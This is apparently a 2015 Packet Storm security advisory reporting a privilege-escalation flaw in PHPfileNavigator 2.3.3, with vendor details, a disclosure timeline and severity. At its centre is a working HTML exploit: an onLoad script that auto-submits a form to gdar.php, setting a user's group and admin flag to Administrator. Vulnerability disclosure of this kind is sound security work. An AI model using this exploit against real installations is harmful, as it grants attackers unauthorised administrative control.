PHPfileNavigator 2.3.3 Privilege Escalation

2015-08-12T00:00:00
ID PACKETSTORM:133057
Type packetstorm
Reporter hyp3rlinx
Modified 2015-08-12T00:00:00

Description

                                        
                                            `[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-PHPFILENAVIGATOR0812b.txt  
  
  
  
Vendor:  
=========================  
pfn.sourceforge.net  
  
  
  
Product:  
=====================================================  
PHPfileNavigator v2.3.3 (pfn)  
  
Is state-of-the-art, open source web based application  
to complete manage your files and folders.  
  
  
  
Vulnerability Type:  
=============================  
Privilege Escalation  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
  
Vulnerability Details:  
=====================  
We can elevate privileges from that of a regular user  
to an Admin level. In order for the attack  
to succeed and escalate privileges to become Admin you need  
know your ID for the 'id_usuario' field when executing the  
attack.  
  
Tested using xampp-1.7.0  
  
  
Exploit code(s):  
===============  
  
<!DOCTYPE>  
<html>  
<script>  
function pwn(){  
var e=document.getElementById('ELEVATO_DE_PRIVLOS')  
e.submit()  
  
}  
</script>  
<body onLoad="pwn()">  
  
  
<!-- Escalate privs to that of Admin -->  
  
<form id="ELEVATO_DE_PRIVLOS" action="  
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"  
method="post">  
<input type="hidden" name="id_usuario" value="5" />  
<input type="text" id="nome" name="nome" value="b2" class="text"  
tabindex="10" />  
<input type="text" id="usuario" name="usuario" value="b2" class="text"  
tabindex="20" />  
<input type="password" id="contrasinal" name="contrasinal"  
value="abc123" class="text" tabindex="30" />  
<input type="password" id="rep_contrasinal" name="rep_contrasinal"  
value="abc123" class="text" tabindex="40" />  
<input type="text" id="email" name="email" value="b@b.com" class="text"  
tabindex="50" />  
<input type="text" id="max_descargas" name="max_descargas" value="0"  
class="text" tabindex="60" />  
<input type="text" id="actual_descargas" name="actual_descargas"  
value="0" class="text" tabindex="70" />  
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">  
<option value="1" >ON</option>  
<option value="0" selected="selected">OFF</option>  
</select>  
<select id="id_grupo" name="id_grupo" tabindex="80">  
<option value="1" selected="selected">Administrators</option>  
</select>  
<select id="admin" name="admin" tabindex="90">  
<option value="1" selected="selected">ON</option>  
<option value="0">OFF</option>  
</select>  
<select id="estado" name="estado" tabindex="100">  
<option value="1" selected="selected">ON</option>  
<option value="0" >OFF</option>  
</select>  
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"  
class="checkbox" />  
</form>  
  
</body>  
</html>  
  
  
  
  
Disclosure Timeline:  
=========================================================  
Vendor Notification: August 8, 2015  
August 12, 2015 : Public Disclosure  
  
  
  
Severity Level:  
=========================================================  
High  
  
  
  
Description:  
==========================================================  
  
  
Request Method(s): [+] POST  
  
  
Vulnerable Product: [+] PHPfileNavigator v2.3.3 (pfn)  
  
  
Vulnerable Parameter(s): [+] id_grupo, admin, id_usuario  
  
  
Affected Area(s): [+] Admin  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`